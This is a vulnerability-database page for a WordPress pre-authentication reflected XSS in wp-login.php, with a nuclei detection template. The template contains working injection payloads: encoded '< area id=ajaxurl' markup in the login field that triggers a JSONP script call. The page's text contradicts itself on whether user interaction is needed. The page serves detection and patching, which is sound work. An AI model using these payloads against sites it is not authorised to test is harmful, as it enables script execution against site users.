Browse / CVEs / CVE-2026-64638
CVE-2026-64638· CWE-79
WordPress Core < 7.0.3 - Preauth Reflected XSS (XSS2Shell)
Pre-authentication reflected XSS in WordPress wp-login.php (CVE-2026-64638). The flaw exploits a parser differential between PHP strip_tags() and WordPress KSES. Tags with whitespace after < (e.g. "< area") survive strip_tags() but are normalized to valid HTML by KSES, leading to attacker-controlled DOM elements that trigger automatic JavaScript execution via user-profile.js. No user interaction required. Affects all WordPress versions < 7.0.3.
Impact
Attackers can execute scripts leading to remote code execution via social engineering and victim interaction.
Fix
Upgrade WordPress to 7.0.3 or apply the backported security patch.
How to confirm it
Send: GET {{BaseURL}}/wp-login.php
Positive when: contains "loginform" and "wp-core-ui"
Send: POST /wp-login.php
Positive when: matches /<area[^>]*id=["']?ajaxurl/ AND status 200Run it with nuclei: nuclei -id CVE-2026-64638 -u <target>
The full check
id: CVE-2026-64638
info:
name: WordPress Core < 7.0.3 - Preauth Reflected XSS (XSS2Shell)
author: FLX | Nick Vidovic (greenhats)
severity: high
description: |
Pre-authentication reflected XSS in WordPress wp-login.php (CVE-2026-64638).
The flaw exploits a parser differential between PHP strip_tags() and
WordPress KSES. Tags with whitespace after < (e.g. "< area") survive
strip_tags() but are normalized to valid HTML by KSES, leading to
attacker-controlled DOM elements that trigger automatic JavaScript
execution via user-profile.js. No user interaction required.
Affects all WordPress versions < 7.0.3.
impact: |
Attackers can execute scripts leading to remote code execution via social engineering and victim interaction.
remediation: |
Upgrade WordPress to 7.0.3 or apply the backported security patch.
reference:
- https://pwn.ai/blog/xss2shell
- https://thehackernews.com/2026/08/new-wordpress-pre-auth-xss-could-lead.html
- https://nvd.nist.gov/vuln/detail/CVE-2026-64638
- https://wordpress.org/news/2026/08/wordpress-7-0-3-release/
classification:
cve-id: CVE-2026-64638
epss-score: 0.00894
epss-percentile: 0.5979
cvss-score: 8.9
cwe-id: CWE-79
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
metadata:
max-request: 3
verified: true
shodan-query: http.component:"wordpress"
tags: cve,cve2026,wordpress,xss,rce,pwnai
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}/wp-login.php"
matchers:
- type: word
part: body
words:
- "loginform"
- "wp-core-ui"
condition: and
internal: true
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log=%3C%20area%20id%3Dajaxurl%20href%3D%2F%3Frest_route%3D%2F%26_method%3DGET%26_jsonp%3Dalert%3E%3C%20div%20id%3Dcolor-picker%20class%3Dreset-pass-submit%3E%3C%20button%20class%3D%22wp-generate-pw%20color-option%22%3EX&pwd=x&wp-submit=Log+In
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log=%3C%20area%20id%3Dajaxurl%20href%3D%2F%3Frest_route%3D%2F%26_method%3DGET%26_envelope%3D1%26_jsonp%3Dalert%3E%3C%20div%20id%3Dcolor-picker%20class%3Dreset-pass-submit%3E%3C%20button%20class%3D%22wp-generate-pw%20color-option%22%3EX&pwd=x&wp-submit=Log+In
stop-at-first-match: true
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "<area[^>]*id=[\"']?ajaxurl"
- type: status
status:
- 200
extractors:
- type: regex
part: body
regex:
- "<area[^>]*id=[\"']?ajaxurl[^>]*>"References
- https://pwn.ai/blog/xss2shell
- https://thehackernews.com/2026/08/new-wordpress-pre-auth-xss-could-lead.html
- https://nvd.nist.gov/vuln/detail/CVE-2026-64638
- https://wordpress.org/news/2026/08/wordpress-7-0-3-release/
Use this check only on systems you are authorised to test. Where the data comes from